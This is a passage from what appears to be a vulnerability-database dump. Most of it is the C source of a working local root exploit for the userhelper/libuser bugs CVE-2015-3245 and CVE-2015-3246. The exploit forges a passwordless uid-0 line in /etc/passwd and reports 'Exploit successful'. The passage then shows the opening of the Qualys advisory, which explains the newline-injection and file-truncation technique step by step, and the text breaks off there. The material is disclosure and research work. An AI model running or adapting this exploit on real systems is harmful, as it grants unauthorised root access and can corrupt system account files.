'\\n' */\r\n#define UH_REQUEST_SIZE_DIGITS 8\r\n\r\n/* Synchronization point code. */\r\n#define UH_SYNC_POINT 32\r\n\r\n/* Valid userhelper request codes. */\r\n#define UH_ECHO_ON_PROMPT 34\r\n#define UH_ECHO_OFF_PROMPT 35\r\n#define UH_EXPECT_RESP 39\r\n#define UH_SERVICE_NAME 40\r\n#define UH_USER 42\r\n\r\n/* Consolehelper response format:\r\n response code as a single character,\r\n response data\r\n '\\n' */\r\n\r\n/* Consolehelper response codes. */\r\n#define UH_TEXT 33\r\n\r\n/* Valid userhelper error codes. */\r\n#define ERR_UNK_ERROR 255 /* unknown error */\r\n\r\n/* Paths, flag names, and other stuff. */\r\n#define UH_PATH \"/usr/sbin/userhelper\"\r\n#define UH_FULLNAME_OPT \"-f\"\r\n#define UH_OFFICE_OPT \"-o\"\r\n#define UH_OFFICEPHONE_OPT \"-p\"\r\n#define UH_HOMEPHONE_OPT \"-h\"\r\n\r\nstatic char\r\nread_request(const int fd, char *const data, const size_t size)\r\n{\r\n if (fd <= -1) die();\r\n if (data == NULL) die();\r\n if (size >= INT_MAX) die();\r\n\r\n char header[1 + UH_REQUEST_SIZE_DIGITS + 1];\r\n if (read(fd, header, sizeof(header)-1) != sizeof(header)-1) die();\r\n header[sizeof(header)-1] = '\\0';\r\n\r\n errno = 0;\r\n char *endptr = NULL;\r\n const unsigned long len = strtoul(&header[1], &endptr, 10);\r\n if (errno != 0 || endptr != &header[sizeof(header)-1]) die();\r\n\r\n if (len >= size) die();\r\n if (read(fd, data, len+1) != (ssize_t)(len+1)) die();\r\n if (data[len] != '\\n') die();\r\n data[len] = '\\0';\r\n\r\n if (strlen(data) != len) die();\r\n if (strchr(data, '\\n') != NULL) die();\r\n return header[0];\r\n}\r\n\r\nstatic void\r\nsend_reply(const int fd, const unsigned char type, const char *const data)\r\n{\r\n if (fd <= -1) die();\r\n if (!isascii(type)) die();\r\n if (!isprint(type)) die();\r\n if (data == NULL) die();\r\n if (strpbrk(data, \"\\r\\n\") != NULL) die();\r\n\r\n char buf[BUFSIZ];\r\n const int len = xsnprintf(buf, sizeof(buf), \"%c%s\\n\", (int)type, data);\r\n if (send(fd, buf, len, MSG_NOSIGNAL) != len) die();\r\n}\r\n\r\n#define ETCDIR \"/etc\"\r\n#define PASSWD \"/etc/passwd\"\r\n#define BACKUP \"/etc/passwd-\"\r\n\r\nstatic struct {\r\n char username[64];\r\n char password[64];\r\n struct gecos_data gecos;\r\n} my;\r\n\r\nstatic volatile sig_atomic_t is_child_dead;\r\n\r\nstatic void\r\nsigchild_handler(const int signum __attribute__ ((__unused__)))\r\n{\r\n is_child_dead = true;\r\n}\r\n\r\nstatic int\r\nwait_for_userhelper(struct userhelper *const uh, const int options)\r\n{\r\n if (uh == NULL) die();\r\n if (uh->pid <= 0) die();\r\n if ((options & ~(WUNTRACED | WCONTINUED)) != 0) die();\r\n\r\n int status;\r\n for (;;) {\r\n const pid_t pid = waitpid(uh->pid, &status, options);\r\n if (pid == uh->pid) break;\r\n if (pid > 0) _exit(255);\r\n\r\n if (pid != -1) die();\r\n if (errno != EINTR) die();\r\n }\r\n if (WIFEXITED(status) || WIFSIGNALED(status)) uh->pid = -1;\r\n return status;\r\n}\r\n\r\nstatic void\r\nforkstop_userhelper(struct userhelper *const uh)\r\n{\r\n if (uh == NULL) die();\r\n if (uh->pid != 0) die();\r\n if (gecos_size(&uh->gecos) > GECOS_LENGTH) die();\r\n\r\n struct rlimit fsize;\r\n if (getrlimit(RLIMIT_FSIZE, &fsize) != 0) die();\r\n if (uh->fsizelim > fsize.rlim_max) die();\r\n if (uh->fsizelim <= 0) die();\r\n fsize.rlim_cur = uh->fsizelim;\r\n\r\n cpu_set_t old_cpus;\r\n CPU_ZERO(&old_cpus);\r\n if (sched_getaffinity(0, sizeof(old_cpus), &old_cpus) != 0) die();\r\n\r\n { const int cpu = sched_getcpu();\r\n if (cpu >= CPU_SETSIZE) die();\r\n if (cpu < 0) die();\r\n cpu_set_t new_cpus;\r\n CPU_ZERO(&new_cpus);\r\n CPU_SET(cpu, &new_cpus);\r\n if (sched_setaffinity(0, sizeof(new_cpus), &new_cpus) != 0) die(); }\r\n\r\n int sv[2];\r\n if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) != 0) die();\r\n\r\n if (is_child_dead) die();\r\n static const struct sigaction sigchild_action = {\r\n .sa_handler = sigchild_handler, .sa_flags = SA_NOCLDSTOP };\r\n if (sigaction(SIGCHLD, &sigchild_action, NULL) != 0) die();\r\n\r\n uh->pid = fork();\r\n if (uh->pid <= -1) die();\r\n\r\n if (uh->pid == 0) {\r\n die_fn = die_in_child;\r\n if (close(sv[1]) != 0) die();\r\n if (dup2(sv[0], UH_INFILENO) != UH_INFILENO) die();\r\n if (dup2(sv[0], UH_OUTFILENO) != UH_OUTFILENO) die();\r\n\r\n const int devnull_fd = open(\"/dev/null\", O_RDWR);\r\n if (dup2(devnull_fd, STDIN_FILENO) != STDIN_FILENO) die();\r\n if (dup2(devnull_fd, STDOUT_FILENO) != STDOUT_FILENO) die();\r\n if (dup2(devnull_fd, STDERR_FILENO) != STDERR_FILENO) die();\r\n\r\n if (signal(SIGPIPE, SIG_DFL) == SIG_ERR) die();\r\n if (signal(SIGXFSZ, SIG_IGN) == SIG_ERR) die();\r\n if (setrlimit(RLIMIT_FSIZE, &fsize) != 0) die();\r\n\r\n if (setpriority(PRIO_PROCESS, 0, +19) != 0) die();\r\n static const struct sched_param sched_param = { .sched_priority = 0 };\r\n (void) sched_setscheduler(0, SCHED_IDLE, &sched_param);\r\n\r\n char *const argv[] = { UH_PATH,\r\n UH_FULLNAME_OPT, uh->gecos.full_name,\r\n UH_OFFICE_OPT, uh->gecos.office,\r\n UH_OFFICEPHONE_OPT, uh->gecos.office_phone,\r\n UH_HOMEPHONE_OPT, uh->gecos.home_phone,\r\n NULL };\r\n char *const envp[] = { NULL };\r\n execve(UH_PATH, argv, envp);\r\n die();\r\n }\r\n if (die_fn != die_in_parent) die();\r\n if (close(sv[0]) != 0) die();\r\n uh->fd = sv[1];\r\n\r\n unsigned long expected_responses = 0;\r\n for (;;) {\r\n char data[BUFSIZ];\r\n const char type = read_request(uh->fd, data, sizeof(data));\r\n if (type == UH_SYNC_POINT) break;\r\n\r\n switch (type) {\r\n case UH_USER:\r\n if (strcmp(data, my.username) != 0) die();\r\n break;\r\n case UH_SERVICE_NAME:\r\n if (strcmp(data, \"chfn\") != 0) die();\r\n break;\r\n case UH_ECHO_ON_PROMPT:\r\n case UH_ECHO_OFF_PROMPT:\r\n if (++expected_responses == 0) die();\r\n break;\r\n case UH_EXPECT_RESP:\r\n if (strtoul(data, NULL, 10) != expected_responses) die();\r\n break;\r\n default:\r\n break;\r\n }\r\n }\r\n if (expected_responses != 1) die();\r\n\r\n const int lpasswd_fd = xopen(PASSWD, O_RDONLY);\r\n const int inotify_fd = inotify_init();\r\n if (inotify_fd <= -1) die();\r\n if (inotify_add_watch(inotify_fd, PASSWD, IN_CLOSE_NOWRITE |\r\n IN_OPEN) <= -1) die();\r\n if (inotify_add_watch(inotify_fd, BACKUP, IN_CLOSE_WRITE) <= -1) {\r\n if (errno != ENOENT) die();\r\n if (inotify_add_watch(inotify_fd, ETCDIR, IN_CREATE) <= -1) die();\r\n }\r\n\r\n send_reply(uh->fd, UH_TEXT, my.password);\r\n send_reply(uh->fd, UH_SYNC_POINT, \"\");\r\n if (close(uh->fd) != 0) die();\r\n uh->fd = -1;\r\n\r\n unsigned int state = 0;\r\n static const uint32_t transition[] = { IN_CLOSE_WRITE,\r\n IN_CLOSE_NOWRITE, IN_OPEN, 0 };\r\n for (;;) {\r\n if (is_child_dead) die();\r\n char buffer[10 * (sizeof(struct inotify_event) + NAME_MAX + 1)];\r\n const ssize_t _buflen = read(inotify_fd, buffer, sizeof(buffer));\r\n if (is_child_dead) die();\r\n\r\n if (_buflen <= 0) die();\r\n size_t buflen = _buflen;\r\n if (buflen > sizeof(buffer)) die();\r\n\r\n struct inotify_event *ep;\r\n for (ep = (struct inotify_event *)(buffer); buflen >= sizeof(*ep);\r\n ep = (struct inotify_event *)(ep->name + ep->len)) {\r\n buflen -= sizeof(*ep);\r\n\r\n if (ep->len > 0) {\r\n if (buflen < ep->len) die();\r\n buflen -= ep->len;\r\n if ((ep->mask & IN_CREATE) == 0) die();\r\n (void) inotify_add_watch(inotify_fd, BACKUP, IN_CLOSE_WRITE);\r\n continue;\r\n }\r\n if (ep->len != 0) die();\r\n while ((ep->mask & transition[state]) != 0) {\r\n ep->mask &= ~transition[state++];\r\n if (transition[state] == 0) goto stop_userhelper;\r\n }\r\n }\r\n if (buflen != 0) die();\r\n }\r\n stop_userhelper:\r\n if (kill(uh->pid, SIGSTOP) != 0) die();\r\n if (close(inotify_fd) != 0) die();\r\n\r\n const int status = wait_for_userhelper(uh, WUNTRACED);\r\n if (!WIFSTOPPED(status)) die();\r\n if (WSTOPSIG(status) != SIGSTOP) die();\r\n\r\n xclose(lpasswd_fd);\r\n if (signal(SIGCHLD, SIG_DFL) == SIG_ERR) die();\r\n if (sched_setaffinity(0, sizeof(old_cpus), &old_cpus) != 0) die();\r\n}\r\n\r\nstatic void\r\ncontinue_userhelper(struct userhelper *const uh)\r\n{\r\n if (uh == NULL) die();\r\n if (uh->fd != -1) die();\r\n if (uh->pid <= 0) die();\r\n\r\n if (kill(uh->pid, SIGCONT) != 0) die();\r\n\r\n { const int status = wait_for_userhelper(uh, WCONTINUED);\r\n if (!WIFCONTINUED(status)) die(); }\r\n\r\n { const int status = wait_for_userhelper(uh, 0);\r\n if (!WIFEXITED(status)) die();\r\n if (WEXITSTATUS(status) !=\r\n ((uh->fsizelim == RLIM_INFINITY) ? 0 : ERR_UNK_ERROR)) die(); }\r\n\r\n memset(uh, 0, sizeof(*uh));\r\n}\r\n\r\nstatic void\r\ncreate_backup_of_passwd_file(void)\r\n{\r\n char backup[] = \"/tmp/passwd-XXXXXX\";\r\n const mode_t prev_umask = umask(077);\r\n const int ofd = mkstemp(backup);\r\n (void) umask(prev_umask);\r\n if (ofd <= -1) die();\r\n\r\n printf(\"Creating a backup copy of \\\"%s\\\" named \\\"%s\\\"\\n\", PASSWD, backup);\r\n const int ifd = xopen(PASSWD, O_RDONLY);\r\n for (;;) {\r\n char buf[BUFSIZ];\r\n const ssize_t len = read(ifd, buf, sizeof(buf));\r\n if (len == 0) break;\r\n if (len <= 0) die();\r\n if (write(ofd, buf, len) != len) die();\r\n }\r\n xclose(ifd);\r\n if (close(ofd) != 0) die();\r\n}\r\n\r\nstatic void\r\ndelete_lines_from_passwd_file(void)\r\n{\r\n struct gecos_data gecos;\r\n memset(&gecos, 0, sizeof(gecos));\r\n xsnprintf(gecos.site_info, sizeof(gecos.site_info),\r\n \"%s\", my.gecos.site_info);\r\n const ssize_t fullname_max = GECOS_LENGTH - gecos_size(&gecos);\r\n if (fullname_max >= GECOS_LENGTH) die();\r\n if (fullname_max <= 0) die();\r\n\r\n char fragment[64];\r\n xsnprintf(fragment, sizeof(fragment), \"\\n%s:\", my.username);\r\n\r\n char *contents = NULL;\r\n for (;;) {\r\n struct stat st;\r\n const int fd = xopen(PASSWD, O_RDONLY);\r\n if (fstat(fd, &st) != 0) die();\r\n if (st.st_size >= INT_MAX) die();\r\n if (st.st_size <= 0) die();\r\n\r\n contents = xrealloc(contents, st.st_size + 1);\r\n if (read(fd, contents, st.st_size) != st.st_size) die();\r\n contents[st.st_size] = '\\0';\r\n xclose(fd);\r\n\r\n const char *cp = strstr(contents, fragment);\r\n if (cp == NULL) die();\r\n cp = strchr(cp + 2, '\\n');\r\n if (cp == NULL) die();\r\n if (cp[1] == '\\0') break;\r\n\r\n char *const tp = contents + st.st_size-1;\r\n *tp = '\\0';\r\n if (tp <= cp) die();\r\n if (tp - cp > fullname_max) cp = tp - fullname_max;\r\n cp = strpbrk(cp, \"\\n:, \");\r\n if (cp == NULL) die();\r\n\r\n const ssize_t fullname_len = tp - cp;\r\n if (fullname_len >= GECOS_LENGTH) die();\r\n if (fullname_len <= 0) die();\r\n\r\n printf(\"Deleting %zd bytes from \\\"%s\\\"\\n\", fullname_len, PASSWD);\r\n\r\n struct userhelper *const uh = &userhelpers[0];\r\n memset(uh->gecos.full_name, 'A', fullname_len);\r\n uh->fsizelim = st.st_size;\r\n forkstop_userhelper(uh);\r\n continue_userhelper(uh);\r\n\r\n uh->fsizelim = RLIM_INFINITY;\r\n forkstop_userhelper(uh);\r\n continue_userhelper(uh);\r\n }\r\n free(contents);\r\n}\r\n\r\nstatic size_t passwd_fsize;\r\nstatic int generate_userhelpers(const char *);\r\n#define IS_USER_LAST \"last user in passwd file?\"\r\n\r\nstatic char candidate_users[256];\r\nstatic char superuser_elect;\r\n\r\nint\r\nmain(void)\r\n{\r\n create_backup_of_passwd_file();\r\n\r\n { char candidate[] = \"a\";\r\n for (; candidate[0] <= 'z'; candidate[0]++) {\r\n if (getpwnam(candidate) != NULL) continue;\r\n strcat(candidate_users, candidate);\r\n } }\r\n if (candidate_users[0] == '\\0') die();\r\n\r\n const struct passwd *const pwd = getpwuid(getuid());\r\n if ((pwd == NULL) || (pwd->pw_name == NULL)) die();\r\n xsnprintf(my.username, sizeof(my.username), \"%s\", pwd->pw_name);\r\n gecos_parse(pwd->pw_gecos, &my.gecos);\r\n\r\n if (fputs(\"Please enter your password:\\n\", stdout) == EOF) die();\r\n if (fgets(my.password, sizeof(my.password), stdin) == NULL) die();\r\n char *const newline = strchr(my.password, '\\n');\r\n if (newline == NULL) die();\r\n *newline = '\\0';\r\n\r\n { struct userhelper *const uh = &userhelpers[0];\r\n uh->fsizelim = RLIM_INFINITY;\r\n forkstop_userhelper(uh);\r\n continue_userhelper(uh); }\r\n\r\n retry:\r\n if (generate_userhelpers(IS_USER_LAST)) {\r\n struct userhelper *const uh1 = &userhelpers[1];\r\n strcpy(uh1->gecos.full_name, \"\\n\");\r\n uh1->fsizelim = passwd_fsize + 1;\r\n\r\n struct userhelper *const uh0 = &userhelpers[0];\r\n uh0->fsizelim = passwd_fsize;\r\n\r\n forkstop_userhelper(uh1), forkstop_userhelper(uh0);\r\n continue_userhelper(uh1), continue_userhelper(uh0);\r\n if (generate_userhelpers(IS_USER_LAST)) die();\r\n }\r\n\r\n static const char a[] = \"?::0:0::/:\";\r\n printf(\"Attempting to add \\\"%s\\\" to \\\"%s\\\"\\n\", a, PASSWD);\r\n\r\n const int n = generate_userhelpers(a);\r\n if (n == -1) {\r\n static int retries;\r\n if (retries++) die();\r\n memset(userhelpers, 0, sizeof(userhelpers));\r\n delete_lines_from_passwd_file();\r\n goto retry;\r\n }\r\n if (n <= 0) die();\r\n if (n >= GECOS_LENGTH) die();\r\n if (superuser_elect == '\\0') die();\r\n\r\n int i;\r\n for (i = n; --i >= 0; ) {\r\n printf(\"Starting and stopping userhelper #%d\\n\", i);\r\n forkstop_userhelper(&userhelpers[i]);\r\n }\r\n for (i = n; --i >= 0; ) {\r\n printf(\"Continuing stopped userhelper #%d\\n\", i);\r\n continue_userhelper(&userhelpers[i]);\r\n }\r\n printf(\"Exploit successful, run \\\"su %c\\\" to become root\\n\",\r\n (int)superuser_elect);\r\n\r\n { struct userhelper *const uh = &userhelpers[0];\r\n uh->fsizelim = RLIM_INFINITY;\r\n uh->gecos = my.gecos;\r\n forkstop_userhelper(uh);\r\n continue_userhelper(uh); }\r\n\r\n exit(EXIT_SUCCESS);\r\n}\r\n\r\nstatic void\r\ngenerate_fullname(char *const fullname, const ssize_t fullname_len,\r\n const char c)\r\n{\r\n if (fullname == NULL) die();\r\n if (fullname_len < 0) die();\r\n if (fullname_len >= GECOS_LENGTH) die();\r\n\r\n memset(fullname, 'A', fullname_len);\r\n\r\n if (fullname_len > 0 && strchr(GECOS_BADCHARS, c) == NULL) {\r\n if (!isascii((unsigned char)c)) die();\r\n if (!isgraph((unsigned char)c)) die();\r\n fullname[fullname_len-1] = c;\r\n }\r\n}\r\n\r\nstatic size_t siteinfo_len;\r\nstatic size_t fullname_off;\r\n\r\nstatic size_t before_fullname_len;\r\nstatic char * before_fullname;\r\n\r\nstatic size_t after_fullname_len;\r\nstatic char * after_fullname;\r\n\r\nstatic int\r\ngenerate_userhelper(const char *const a, const int i, char *const contents)\r\n{\r\n if (i < 0) {\r\n if (i != -1) die();\r\n return 0;\r\n }\r\n if (a == NULL) die();\r\n if ((unsigned int)i >= strlen(a)) die();\r\n if (contents == NULL) die();\r\n\r\n const char _c = a[i];\r\n const bool is_user_wildcard = (_c == '?');\r\n const char c = (is_user_wildcard ? candidate_users[0] : _c);\r\n if (c == '\\0') die();\r\n\r\n const size_t target = passwd_fsize-1 + i;\r\n const rlim_t fsizelim = (a[i+1] == '\\0') ? RLIM_INFINITY : target+1;\r\n if (fsizelim < passwd_fsize) die();\r\n\r\n const size_t contents_len = strlen(contents);\r\n if (contents_len < passwd_fsize) die();\r\n if (contents_len <= fullname_off) die();\r\n\r\n char *const fullname = contents + fullname_off;\r\n if (memcmp(fullname - before_fullname_len,\r\n before_fullname, before_fullname_len) != 0) die();\r\n\r\n const char *rest = strchr(fullname, '\\n');\r\n if (rest == NULL) die();\r\n rest++;\r\n\r\n const ssize_t fullname_len = (rest - fullname) - after_fullname_len;\r\n if (fullname_len >= GECOS_LENGTH) die();\r\n if (fullname_len < 0) die();\r\n\r\n if (rest[-1] != '\\n') die();\r\n generate_fullname(fullname, fullname_len, c);\r\n memcpy(fullname + fullname_len, after_fullname, after_fullname_len);\r\n if (rest[-1] != '\\n') die();\r\n\r\n if (memcmp(rest - after_fullname_len,\r\n after_fullname, after_fullname_len) != 0) die();\r\n\r\n size_t offset;\r\n for (offset = fullname_off; offset < contents_len; offset++) {\r\n\r\n const char x = contents[offset];\r\n if (x == '\\0') die();\r\n if (is_user_wildcard) {\r\n if (strchr(candidate_users, x) == NULL) continue;\r\n superuser_elect = x;\r\n } else {\r\n if (x != c) continue;\r\n }\r\n\r\n const ssize_t new_fullname_len = fullname_len + (target - offset);\r\n if (new_fullname_len < 0) continue; /* gecos_size() > GECOS_LENGTH */\r\n if (4 + new_fullname_len + siteinfo_len + 1 > GECOS_LENGTH) continue;\r\n\r\n if (offset < fullname_off + fullname_len) {\r\n if (offset != fullname_off + fullname_len-1) die();\r\n if (new_fullname_len == 0) continue;\r\n }\r\n if (offset >= contents_len-1) {\r\n if (offset != contents_len-1) die();\r\n if (fsizelim != RLIM_INFINITY) continue;\r\n }\r\n\r\n { char *const new_contents = xmalloc(contents_len+1 + GECOS_LENGTH);\r\n\r\n memcpy(new_contents, contents, fullname_off);\r\n generate_fullname(new_contents + fullname_off, new_fullname_len, c);\r\n memcpy(new_contents + fullname_off + new_fullname_len,\r\n contents + fullname_off + fullname_len,\r\n contents_len+1 - (fullname_off + fullname_len));\r\n\r\n if (strlen(new_contents) != contents_len +\r\n (new_fullname_len - fullname_len)) die();\r\n\r\n if (fsizelim != RLIM_INFINITY) {\r\n if (fsizelim >= strlen(new_contents)) die();\r\n if (fsizelim >= contents_len) die();\r\n memcpy(new_contents + fsizelim,\r\n contents + fsizelim,\r\n contents_len+1 - fsizelim);\r\n }\r\n\r\n const int err = generate_userhelper(a, i-1, new_contents);\r\n free(new_contents);\r\n if (err < 0) continue; }\r\n\r\n if (i >= GECOS_LENGTH) die();\r\n struct userhelper *const uh = &userhelpers[i];\r\n memset(uh, 0, sizeof(*uh));\r\n\r\n uh->fsizelim = fsizelim;\r\n if (new_fullname_len >= GECOS_LENGTH) die();\r\n generate_fullname(uh->gecos.full_name, new_fullname_len, c);\r\n return 0;\r\n }\r\n return -1;\r\n}\r\n\r\nstatic int\r\ngenerate_userhelpers(const char *const _a)\r\n{\r\n char a[GECOS_LENGTH];\r\n if (_a == NULL) die();\r\n const int n = xsnprintf(a, sizeof(a), \"\\n%s\\n\", _a);\r\n if (n >= GECOS_LENGTH) die();\r\n if (n <= 0) die();\r\n\r\n const int fd = xopen(PASSWD, O_RDONLY);\r\n struct stat st;\r\n if (fstat(fd, &st) != 0) die();\r\n if (st.st_size >= 10*1024*1024) die();\r\n if (st.st_size <= 0) die();\r\n passwd_fsize = st.st_size;\r\n\r\n char *const contents = xmalloc(passwd_fsize + 1);\r\n if (read(fd, contents, passwd_fsize) != (ssize_t)passwd_fsize) die();\r\n xclose(fd);\r\n contents[passwd_fsize] = '\\0';\r\n if (strlen(contents) != passwd_fsize) die();\r\n if (contents[passwd_fsize-1] != '\\n') die();\r\n\r\n char fragment[64];\r\n xsnprintf(fragment, sizeof(fragment), \"\\n%s:\", my.username);\r\n const char *line = strstr(contents, fragment);\r\n if (line == NULL) die();\r\n line++;\r\n\r\n const char *rest = strchr(line, '\\n');\r\n if (rest == NULL) die();\r\n if (rest <= line) die();\r\n rest++;\r\n\r\n if (strcmp(_a, IS_USER_LAST) == 0) {\r\n const bool is_user_last = (*rest == '\\0');\r\n free(contents);\r\n return is_user_last;\r\n }\r\n\r\n unsigned int i;\r\n const char *field = line;\r\n\r\n for (i = 0; i <= 5; i++) {\r\n const char *const field_end = strchr(field, ':');\r\n if (field_end == NULL) die();\r\n if (field_end >= rest) die();\r\n const size_t field_len = field_end - field;\r\n\r\n switch (i) {\r\n case 0:\r\n if (field_len != strlen(my.username)) die();\r\n if (memcmp(field, my.username, field_len) != 0) die();\r\n break;\r\n case 1:\r\n if (*field != 'x') die();\r\n break;\r\n case 2:\r\n if (strtoimax(field, NULL, 10) != getuid()) die();\r\n break;\r\n case 3:\r\n if (strtoimax(field, NULL, 10) != getgid()) die();\r\n break;\r\n case 4:\r\n {\r\n char assembled[GECOS_LENGTH];\r\n xsnprintf(assembled, sizeof(assembled),\r\n \"%.*s\", (int)field_len, field);\r\n if (strlen(assembled) != field_len) die();\r\n\r\n struct gecos_data gecos;\r\n memset(&gecos, 0, sizeof(gecos));\r\n xsnprintf(gecos.site_info, sizeof(gecos.site_info),\r\n \"%s\", my.gecos.site_info);\r\n if (strcmp(assembled, gecos_assemble(&gecos)) != 0) die();\r\n }\r\n\r\n siteinfo_len = strlen(my.gecos.site_info);\r\n fullname_off = field - contents;\r\n\r\n before_fullname_len = field - line;\r\n before_fullname = xstrndup(line, before_fullname_len);\r\n\r\n after_fullname_len = rest - field;\r\n after_fullname = xstrndup(field, after_fullname_len);\r\n break;\r\n\r\n case 5:\r\n if (*field != '/') die();\r\n break;\r\n default:\r\n die();\r\n }\r\n field = field_end + 1;\r\n }\r\n\r\n const int err = generate_userhelper(a, n-1, contents);\r\n\r\n free(before_fullname), before_fullname = NULL;\r\n free(after_fullname), after_fullname = NULL;\r\n free(contents);\r\n\r\n return (err < 0) ? -1 : n;\r\n}", "osvdbidlist": ["125264", "125263"]}
{"securityvulns": [{"lastseen": "2018-08-31T11:11:00", "bulletinFamily": "software", "cvelist": ["CVE-2015-3246", "CVE-2015-3245"], "description": "\r\n\r\n\r\nHello, it is July 23, 2015, 17:00 UTC, the Coordinated Release Date for\r\nCVE-2015-3245 and CVE-2015-3246. Please find our advisory below, and\r\nour exploit attached.\r\n\r\n\r\nQualys Security Advisory\r\n\r\nCVE-2015-3245 userhelper chfn() newline filtering\r\n\r\nCVE-2015-3246 libuser passwd file handling\r\n\r\n\r\n--[ Summary ]-----------------------------------------------------------------\r\n\r\nThe libuser library implements a standardized interface for manipulating\r\nand administering user and group accounts, and is installed by default\r\non Linux distributions derived from Red Hat's codebase. During an\r\ninternal code audit at Qualys, we discovered multiple libuser-related\r\nvulnerabilities that allow local users to perform denial-of-service and\r\nprivilege-escalation attacks. As a proof of concept, we developed an\r\nunusual local root exploit against one of libuser's applications.\r\n\r\n\r\n----[ Vulnerability #1 (CVE-2015-3245 userhelper chfn() newline filtering)\r\n\r\nWe discovered a bug in userhelper, a setuid-root program from the\r\nusermode package that provides a basic interface to change a user's\r\npassword, gecos information, and shell; its -f (Full Name), -o (Office),\r\n-p (Office Phone) and -h (Home Phone) command-line options are\r\nequivalent to those of the traditional chfn program.\r\n\r\nuserhelper's chfn() function verifies that the fields it was given on\r\nthe command-line are sane (i.e., contain no forbidden characters).\r\nUnfortunately, these forbidden characters (":,=") do not include '\n'\r\nand allow local attackers to inject newline characters into /etc/passwd\r\nand alter this file in unexpected ways.\r\n\r\nTo the best of our knowledge, this bug is a local denial-of-service\r\nonly: we were not able to turn it into a local root exploit, but maybe\r\nsome creative minds will.\r\n\r\nThere is another, secondary aspect of this bug: userhelper depends on\r\nlibuser to modify /etc/passwd, and libuser's format_generic() and\r\ngeneric_setpass() functions reject fields containing a ':' that would be\r\ninterpreted as a field separator. Vulnerability #1 could have been\r\nprevented if libuser had also rejected '\n' characters.\r\n\r\n\r\n----[ Vulnerability #2 (CVE-2015-3246 libuser passwd file handling)\r\n\r\nWe discovered a bug in libuser itself: even though traditional programs\r\nlike passwd, chfn, and chsh work on a temporary copy of /etc/passwd and\r\neventually rename() it, libuser modifies /etc/passwd directly.\r\nUnfortunately, if anything goes wrong during these modifications,\r\nlibuser may leave /etc/passwd in an inconsistent state.\r\n\r\nThis bug is not just another local denial-of-service: we were able to\r\nturn it into a local root exploit against userhelper and chfn (if linked\r\nwith libuser).\r\n\r\nThere is also another, secondary aspect of this bug: glibc modules like\r\nnss and nscd do not expect /etc/passwd to be directly modified while\r\nthey parse its contents, and programs from packages like shadow-utils\r\nand util-linux use lckpwdf() locks that are incompatible with libuser's\r\nfcntl() locks.\r\n\r\n\r\n--[ Exploitation Overview ]---------------------------------------------------\r\n\r\nIn this section, we outline our userhelper exploit against libuser's\r\nVulnerability #2; later in this advisory, we explain how it can be\r\neasily adapted to chfn (if linked with libuser).\r\n\r\nOur ultimate goal is to inject an arbitrary line into /etc/passwd (for\r\nexample, the a-line "\na::0:0::/:\n") but we first need to understand\r\nhow libuser's generic_mod() function modifies our own user's line in\r\n/etc/passwd:\r\n\r\n- open() /etc/passwd for reading and writing (O_RDWR, but not O_APPEND\r\n nor O_TRUNC);\r\n\r\n- acquire the file's fcntl() write-lock (an exclusive, but advisory\r\n lock);\r\n\r\n- read() the file's contents (into a g_malloc()ated buffer);\r\n\r\n- lseek() the file to the beginning of our user's line (and skip the\r\n unmodified lines that precede);\r\n\r\n- write() our user's new, modified line (and the rest of the unmodified\r\n lines that follow) to the file;\r\n\r\n- ftruncate() the file (if our user's new, modified line is shorter than\r\n the old one);\r\n\r\n- release the file's fcntl() write-lock;\r\n\r\n- close() the file.\r\n\r\nSurprisingly, we only need two things in our toolbox in order to exploit\r\nthis function and inject the a-line into /etc/passwd:\r\n\r\n- a pencil and eraser that allows us to repeatedly write() and\r\n re-write() our own GECOS field (its length and last character in\r\n particular) in /etc/passwd: the userhelper program itself;\r\n\r\n- a pair of scissors that allows us to interrupt write() with byte\r\n precision and avoid ftruncate(): the resource limit RLIMIT_FSIZE, "The\r\n maximum size of files that the process may create. Attempts to extend\r\n a file beyond this limit result in delivery of a SIGXFSZ signal. By\r\n default, this signal terminates a process, but a process can catch\r\n this signal instead, in which case the relevant system call (e.g.,\r\n write(2), truncate(2)) fails with the error EFBIG."\r\n\r\nFor each character in the a-line (beginning with its last character and\r\nending with its first character), we fork() a new process and execve()\r\nuserhelper with:\r\n\r\n- a GECOS field that allows us to write() the character to its target\r\n offset in /etc/passwd;\r\n\r\n- an RLIMIT_FSIZE that allows us to terminate the process before it\r\n write()s or ftruncate()s the characters that follow.\r\n\r\nIn this example, the newline character '\n' is represented by |, and the\r\nlast character written (before write() is interrupted by RLIMIT_FSIZE)\r\nis marked with ^:\r\n\r\n...|...|user:x:1000:1000::/home/user:/bin/bash|...|...|\r\n...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAA:/home/user:/bin/bash|...|...|\r\n...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAA:/home/user:|...|...|\r\n ^\r\n...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:/home/:|...|...|\r\n ^\r\n...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:/:|...|...|\r\n ^\r\n...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA::/:|...|...|\r\n ^\r\n...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0::/:|...|...|\r\n ^\r\n...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:0::/:|...|...|\r\n ^\r\n...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0:0::/:|...|...|\r\n ^\r\n...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:0:0::/:|...|...|\r\n ^\r\n...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA::0:0::/:|...|...|\r\n ^\r\n...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa::0:0::/:|...|...|\r\n ^\r\n...|...|user:x:1000:1000:AAAAAAAA:/home/user:/bin/bash|a::0:0::/:|...|...|\r\n ^\r\n...|...|user:x:1000:1000::/home/user:/bin/bash|a::0:0::/:|...|...|\r\n\r\n\r\n--[ Exploitation Details ]----------------------------------------------------\r\n\r\nIn this section, we discuss the problems we encountered while developing\r\nour userhelper exploit, and how we solved them.\r\n\r\n\r\n----[ Problem #1 (missing fields)\r\n\r\nAt the end of our "Exploitation Overview" example, our home-directory\r\nand shell-program fields seem to magically reappear in /etc/passwd,\r\nalthough they were previously cut out by RLIMIT_FSIZE.\r\n\r\nThis magic trick introduces Problem #1: we cannot simply fork() a new\r\nprocess for each 